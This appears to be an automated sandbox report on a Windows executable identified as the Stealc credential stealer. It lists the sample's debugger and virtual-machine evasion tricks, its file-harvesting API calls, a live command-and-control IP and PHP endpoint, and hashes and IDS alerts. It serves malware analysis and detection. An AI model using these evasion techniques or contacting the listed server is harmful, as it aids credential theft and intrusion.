Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D0329 second address: 50D0342 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a mov edx, ecx 0x0000000c mov eax, 5247094Bh 0x00000011 popad 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D0342 second address: 50D0346 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D0346 second address: 50D034C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D034C second address: 50D038D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, 7Ch 0x00000005 mov eax, 73F176B3h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F66B07B4FABh 0x00000017 sbb cx, E91Eh 0x0000001c jmp 00007F66B07B4FB9h 0x00000021 popfd 0x00000022 mov si, 9AE7h 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D038D second address: 50D0393 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D0393 second address: 50D0397 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D0397 second address: 50D03C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov dx, cx 0x00000010 jmp 00007F66B1272F68h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D03C0 second address: 50D03C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D03C6 second address: 50D03CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D046F second address: 50D0474 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D0474 second address: 50D04CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F66B1272F5Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F66B1272F5Eh 0x00000012 adc ah, 00000058h 0x00000015 jmp 00007F66B1272F5Bh 0x0000001a popfd 0x0000001b push eax 0x0000001c push edx 0x0000001d pushfd 0x0000001e jmp 00007F66B1272F66h 0x00000023 adc cx, 1FB8h 0x00000028 jmp 00007F66B1272F5Bh 0x0000002d popfd 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D04CD second address: 50D04FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop ebp 0x00000008 pushad 0x00000009 call 00007F66B07B4FB2h 0x0000000e movzx eax, bx 0x00000011 pop edx 0x00000012 call 00007F66B07B4FACh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: C41C2F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: C3F5CA instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: E12944 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: DF45BA instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: E73DA9 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009F38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_009F38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009F4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_009F4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009EDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_009EDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009EE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_009EE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009EED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_009EED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009F4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_009F4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009EF68A FindFirstFileA,	0_2_009EF68A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009EF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_009EF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009F3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_009F3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009E16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_009E16D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009EDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_009EDE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009EBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_009EBE70

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_009E1160 GetSystemInfo,ExitProcess,

0_2_009E1160

Source: file.exe, file.exe, 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2101658537.000000000139E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareA
Source: file.exe, 00000000.00000002.2101658537.0000000001411000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2101658537.00000000013E2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2101658537.000000000139E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13654
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13657
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13669
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13709
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13674

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_009E45C0 VirtualProtect ?,00000004,00000100,00000000

0_2_009E45C0

Source: C:\Users\user\Desktop\file.exe

0_2_009F9860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_009F9750 mov eax, dword ptr fs:[00000030h]

0_2_009F9750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_009F78E0 GetProcessHeap,RtlAllocateHeap,GetComputerNameA,

0_2_009F78E0

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 3356, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_009F9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_009F9600

Source: file.exe, file.exe, 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: {+lProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_009F7B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_009F7980 GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,

0_2_009F7980

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_009F7850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_009F7850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_009F7A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_009F7A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.9e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2101658537.000000000139E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2051322816.0000000004F40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3356, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.9e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2101658537.000000000139E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2051322816.0000000004F40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3356, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/	true		unknown
http://185.215.113.206/e2b1563c6670f193.php	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://185.215.113.206/e2b1563c6670f193.php/	file.exe, 00000000.00000002.2101658537.00000000013F8000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/e2b1563c6670f193.phpJ	file.exe, 00000000.00000002.2101658537.00000000013F8000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/3C;	file.exe, 00000000.00000002.2101658537.000000000139E000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206	file.exe, 00000000.00000002.2101658537.000000000139E000.00000004.00000020.00020000.00000000.sdmp	true	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.206	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1543217
Start date and time:	2024-10-27 13:03:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	2
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 19 Number of non-executed functions: 90
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.206	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	SecuriteInfo.com.Win32.Evo-gen.20836.29869.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9463678010723795
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'866'752 bytes
MD5:	d42e9bebeb9d3f72398f5a5211b649e1
SHA1:	677dc85715152bdc047d55a0a7843ea53690274c
SHA256:	70d701780ae74623c6f20f75516cecba15aff040750f911bc73b311a5482b622
SHA512:	8f9638b2783508aa29b36626a8520858a0cc71cdd5daa055edef9ca4e833edd1ec39cb0549d821b7b19fb75d2af74268fb98bbce00ab57fb257aeac3c4dfe450
SSDEEP:	49152:w5/Y2wL1rcthKSQaL4EatSJrH2RtQBguaCj6gZ:w5/Y1eCSQaL4EaBuBgu6A
TLSH:	3E85338A455F652DCF8B43F81F390CD4C82C2E77D778125BA672B1295BBB2D838150EA
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...9$.g...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xaa5000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x671C2439 [Fri Oct 25 23:05:29 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F66B068D07Ah
cvtps2pd xmm3, qword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F66B068F075h
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], bh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	a65303f806afc76ba826fefc9da5d940	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x2a4000	0x200	c1709659527761b655bd64850655905b	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
viycrjrr	0x502000	0x1a2000	0x1a1800	bbfdb9c58059aadfa4c43e025b317c99	False	0.994612532747006	data	7.953397310962952	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
xfsmgicr	0x6a4000	0x1000	0x600	f56c0b46749c83192781ee913133a075	False	0.5807291666666666	data	4.956026029906863	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6a5000	0x3000	0x2200	a1a7e5da0537a3e5582213b558fe74fe	False	0.059283088235294115	DOS executable (COM)	0.7959220511683656	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-27T13:04:03.454796+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
